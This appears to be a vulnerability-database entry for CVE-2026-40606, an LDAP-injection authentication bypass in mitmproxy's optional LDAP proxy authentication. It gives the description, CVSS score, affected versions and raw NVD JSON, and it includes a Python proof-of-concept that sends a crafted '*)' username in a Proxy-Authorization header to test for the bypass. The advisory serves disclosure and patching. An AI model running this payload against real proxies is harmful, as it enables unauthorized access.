Security Vulnerability Report
中文
CVE-2026-40606 CVSS 4.8 MEDIUM

CVE-2026-40606

Published: 2026-04-21 18:16:52
Last Modified: 2026-04-24 13:33:58

Description

mitmproxy is a interactive TLS-capable intercepting HTTP proxy for penetration testers and software developers and mitmweb is a web-based interface for mitmproxy. In mitmproxy 12.2.1 and below, the builtin LDAP proxy authentication does not correctly sanitize the username when querying the LDAP server. This allows a malicious client to bypass authentication. Only mitmproxy instances using the proxyauth option with LDAP are affected. This option is not enabled by default. The vulnerability has been fixed in mitmproxy 12.2.2 and above.

CVSS Details

CVSS Score
4.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mitmproxy:mitmproxy:*:*:*:*:*:*:*:* - VULNERABLE
mitmproxy <= 12.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-40606: mitmproxy LDAP Auth Bypass This script attempts to bypass authentication by injecting LDAP wildcard characters in the username field. """ import requests import base64 def check_vulnerability(target_url, proxy_host, proxy_port): # Configure proxy settings proxies = { "http": f"http://{proxy_host}:{proxy_port}", "https": f"http://{proxy_host}:{proxy_port}" } # Attempt LDAP injection payload (e.g., wildcard) # If the backend constructs a query like (uid={username}), # sending '*' might match all users or bypass specific checks. payload_username = "*)" # Construct Basic Auth Header with payload # Format: base64(username:password) credentials = f"{payload_username}:random_password" b64_auth = base64.b64encode(credentials.encode()).decode() headers = { "Proxy-Authorization": f"Basic {b64_auth}" } try: print(f"[*] Sending request to {target_url} via proxy...") response = requests.get(target_url, proxies=proxies, headers=headers, timeout=10) # If we get a 200 OK or a proxy response that indicates success, bypass might work if response.status_code == 200: print("[+] Potential bypass successful! Request allowed.") elif response.status_code == 407: print("[-] Authentication required. Bypass failed.") else: print(f"[?] Received status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Example usage check_vulnerability("http://example.com", "127.0.0.1", 8080)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40606", "sourceIdentifier": "[email protected]", "published": "2026-04-21T18:16:52.127", "lastModified": "2026-04-24T13:33:57.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "mitmproxy is a interactive TLS-capable intercepting HTTP proxy for penetration testers and software developers and mitmweb is a web-based interface for mitmproxy. In mitmproxy 12.2.1 and below, the builtin LDAP proxy authentication does not correctly sanitize the username when querying the LDAP server. This allows a malicious client to bypass authentication. Only mitmproxy instances using the proxyauth option with LDAP are affected. This option is not enabled by default. The vulnerability has been fixed in mitmproxy 12.2.2 and above."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-90"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mitmproxy:mitmproxy:*:*:*:*:*:*:*:*", "versionEndExcluding": "12.2.2", "matchCriteriaId": "96116F16-A9E7-4B5C-B9C5-B40C852DDAF1"}]}]}], "references": [{"url": "https://github.com/mitmproxy/mitmproxy/security/advisories/GHSA-527g-3w9m-29hv", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}